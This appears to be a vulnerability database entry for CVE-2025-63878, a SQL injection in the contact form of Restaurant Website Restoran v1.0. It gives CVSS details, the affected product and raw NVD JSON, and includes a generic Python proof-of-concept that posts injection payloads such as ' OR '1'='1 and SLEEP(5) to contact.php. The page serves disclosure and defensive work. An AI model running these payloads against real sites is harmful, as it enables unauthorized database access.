Security Vulnerability Report
中文
CVE-2025-63878 CVSS 6.5 MEDIUM

CVE-2025-63878

Published: 2025-11-19 16:15:49
Last Modified: 2025-12-31 14:07:52

Description

Github Restaurant Website Restoran v1.0 was discovered to contain a SQL injection vulnerability via the Contact Form page.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hackerwhale:restaurant_website_restoran:1.0:*:*:*:*:*:*:* - VULNERABLE
Restaurant Website Restoran v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63878 SQL Injection PoC # Target: Restaurant Website Restoran v1.0 Contact Form def exploit_sql_injection(target_url): """ SQL Injection vulnerability in Contact Form The application fails to properly sanitize user input """ # Target endpoint - Contact Form endpoint = f"{target_url}/contact.php" # Vulnerable parameters - adjust based on actual application # Common vulnerable fields in contact forms payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "' OR 1=1 LIMIT 1--" ] for payload in payloads: data = { 'name': payload, 'email': '[email protected]', 'phone': '1234567890', 'message': 'Test message' } try: response = requests.post(endpoint, data=data, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status: {response.status_code}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'mysql' in response.text.lower(): print("[!] SQL Error detected - vulnerability confirmed") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-63878.py <target_url>") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-63878 on {target}") exploit_sql_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63878", "sourceIdentifier": "[email protected]", "published": "2025-11-19T16:15:49.140", "lastModified": "2025-12-31T14:07:51.923", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Github Restaurant Website Restoran v1.0 was discovered to contain a SQL injection vulnerability via the Contact Form page."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hackerwhale:restaurant_website_restoran:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "83F1A3AE-2632-4EED-AD90-978868E0F3ED"}]}]}], "references": [{"url": "https://github.com/rumanaemu/CVE-Research/blob/main/CVE-2025-63878.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linkedin.com/in/rumana-khatun-208aa731b/", "source": "[email protected]", "tags": ["Not Applicable"]}]}}